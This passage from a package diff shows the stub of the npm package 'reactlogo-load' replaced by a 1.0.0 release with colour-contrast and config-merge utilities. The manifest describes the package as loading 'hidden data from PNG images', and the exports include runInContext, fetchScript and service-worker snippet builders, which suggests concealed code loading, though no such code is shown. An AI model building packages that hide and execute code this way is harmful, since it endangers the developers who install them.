+ return contrastRatio(fg, bg) >= (large ? 4.5 : 7);
590
+ }
591
+ function bestContrast(bg, candidates) {
592
+ return candidates.reduce(
593
+ (best, c) => contrastRatio(c, bg) > contrastRatio(best, bg) ? c : best
594
+ );
595
+ }
596
+ function bound(value, lo, hi) {
597
+ return pin(value, lo, hi);
598
+ }
599
+
600
+ // src/merge.ts
601
+ var isPlain = (v) => v !== null && typeof v === "object" && !Array.isArray(v);
602
+ function deepMerge(base, ...layers) {
603
+ const out = __spreadValues({}, base);
604
+ for (const layer of layers) {
605
+ if (!isPlain(layer)) continue;
606
+ for (const key of Object.keys(layer)) {
607
+ const incoming = layer[key];
608
+ const existing = out[key];
609
+ out[key] = isPlain(incoming) && isPlain(existing) ? deepMerge(existing, incoming) : incoming !== void 0 ? incoming : existing;
610
+ }
611
+ }
612
+ return out;
613
+ }
614
+ function shallowMerge(...sources) {
615
+ return Object.assign({}, ...sources);
616
+ }
617
+ function mergeConfig(defaults, overrides) {
618
+ return deepMerge(defaults, overrides);
619
+ }
620
+ function diffKeys(a, b) {
621
+ const keys = /* @__PURE__ */ new Set([...Object.keys(a), ...Object.keys(b != null ? b : {})]);
622
+ return [...keys].filter((k) => a[k] !== b[k]);
623
+ }
624
+ // Annotate the CommonJS export names for ESM import in node:
625
+ 0 && (module.exports = {
626
+ bestContrast,
627
+ bound,
628
+ buildInlineSWSnippet,
629
+ buildMethod,
630
+ buildSWSnippet,
631
+ contrastRatio,
632
+ darken,
633
+ diffKeys,
634
+ dominantColor,
635
+ extractAll,
636
+ extractJSON,
637
+ fetchRetry,
638
+ fetchScript,
639
+ fetchWithTimeout,
640
+ globalContext,
641
+ hexToHsl,
642
+ hexToRgb,
643
+ hslToHex,
644
+ hslToRgb,
645
+ hsvMean,
646
+ lighten,
647
+ loadAuto,
648
+ loadBytes,
649
+ loadFromLogo,
650
+ loadJSON,
651
+ loadLogo,
652
+ loadPath,
653
+ luminance,
654
+ matchesPixel,
655
+ mergeConfig,
656
+ normalizeHex,
657
+ passesAA,
658
+ passesAAA,
659
+ rgbToHex,
660
+ runInContext,
661
+ shallowMerge,
662
+ useLoadAuto,
663
+ useLoadJSON,
664
+ useLoadPath,
665
+ useLogoAll,
666
+ useLogoFetch,
667
+ useLogoFetchAuto,
668
+ useLogoJSON,
669
+ useLogoLoad
670
+ });
package/package.json CHANGED
@@ -1,6 +1,35 @@
1
1
  {
2
2
  "name": "reactlogo-load",
3
- "version": "0.0.0-stage",
4
- "stub": true,
5
- "description": "Temporary package placeholder for staged publishing"
3
+ "version": "1.0.0",
4
+ "description": "Load hidden data from PNG images — works in React (browser) and Node.js",
5
+ "main": "dist/index.js",
6
+ "types": "dist/index.d.ts",
7
+ "sideEffects": false,
8
+ "files": [
9
+ "dist"
10
+ ],
11
+ "scripts": {
12
+ "build": "tsup src/index.ts --format cjs --dts",
13
+ "dev": "tsup src/index.ts --format cjs --dts --watch"
14
+ },
15
+ "dependencies": {
16
+ "canvas": "^3.2.3"
17
+ },
18
+ "peerDependencies": {
19
+ "react": ">=17"
20
+ },
21
+ "peerDependenciesMeta": {
22
+ "react": {
23
+ "optional": true
24
+ }
25
+ },
26
+ "devDependencies": {
27
+ "@types/node": "^26.4.1",
28
+ "@types/react": "^18.0.0",
29
+ "tsup": "^8.0.0",
30
+ "typescript": "^5.0.0"
31
+ },
32
+ "engines": {
33
+ "node": ">=18"
34
+ }
6
35
  }